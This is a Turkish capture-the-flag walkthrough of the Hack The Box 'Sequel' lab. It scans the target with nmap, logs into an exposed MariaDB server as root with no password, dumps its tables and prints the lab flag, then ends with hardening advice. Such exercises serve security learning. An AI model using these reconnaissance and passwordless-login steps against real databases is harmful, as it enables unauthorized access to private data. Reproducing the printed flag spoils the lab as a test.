Makine Bilgileri
- Platform:
HTB- Lab:
Starting Point- Zorluk Derecesi: Çok Kolay
- OS:
Linux- IP:
10.129.x.x

Adım 0: Başlangıç

mkdir -p HTB/LAB/SEQUEL && cd HTB/LAB/SEQUELIP=10.129.x.x && ping -c 2 $IPBu komutları anlamıyorsan, ilk raporlara göz at.
Adım 1: Keşif
Nmap Taraması
nmap -sC -sV $IP
Bulgular
Açık port>>3306/tcp (MySQL)- Servis >>
MariaDB
MariaDB servisi açık.
Adım 2: Veritabanına Bağlan
root olarak şifresiz (boş şifre) bağlanmayı dene. Bu klasik bir yanlış yapılandırma: uzaktan root girişi kimlik doğrulaması olmadan izin veriliyor.

mariadb -u root -h $IP --skip-sslYerel MariaDB istemcimiz varsayılan olarak şifreli bir bağlantı (SSL) kurmaya çalıştı, ancak hedef sunucu bunu desteklemediği için bir ERROR 2026 hatası aldık. Bu güvenlik kontrolünü atlatmak ve bağlantıyı kurmak için
--skip-sslparametresini kullandık.
mysql> prompt almalısın. Bağlantı reddedilirse VPN, IP ve makinenin tamamen başlatıldığını kontrol et.
Adım 3: Keşfet ve Flag’i Al
MySQL kabuğunun içinde:

SHOW DATABASES;information_schema, mysql, performance_schema yanında bir de htb veritabanı görmelisin.

USE htb;SHOW TABLES;SELECT * FROM users;Admin kullanıcı olarak giriş yaptık. Ancak burada sadece kullanıcıların e-postalarına erişebiliyoruz. Flag yok.
config tablosunu görmelisin (key–value tarzı veri). Şimdi hamlemizi yapalım.

SELECT * FROM config;Flag sonuç kümesinde.
Flag ve bitir
7b4bec00d1a39e3dd4e021ec3d915da8ÖnemliMariaDB/MySQL’i asla
rootkullanıcıyla ve şifresiz (ya da zayıf varsayılan şifrelerle) ağa maruz bırakmayın. Bağlanma adresini sınırlayın, 3306 numaralı bağlantı noktasını güvenlik duvarıyla koruyun, güçlü kimlik bilgileri kullanın ve gerekmiyorsa uzaktan root erişimini devre dışı bırakın. Alınması gereken ders buydu.
ve iyi geceler “sequel”..
Bazı bilgiler güncel olmayabilir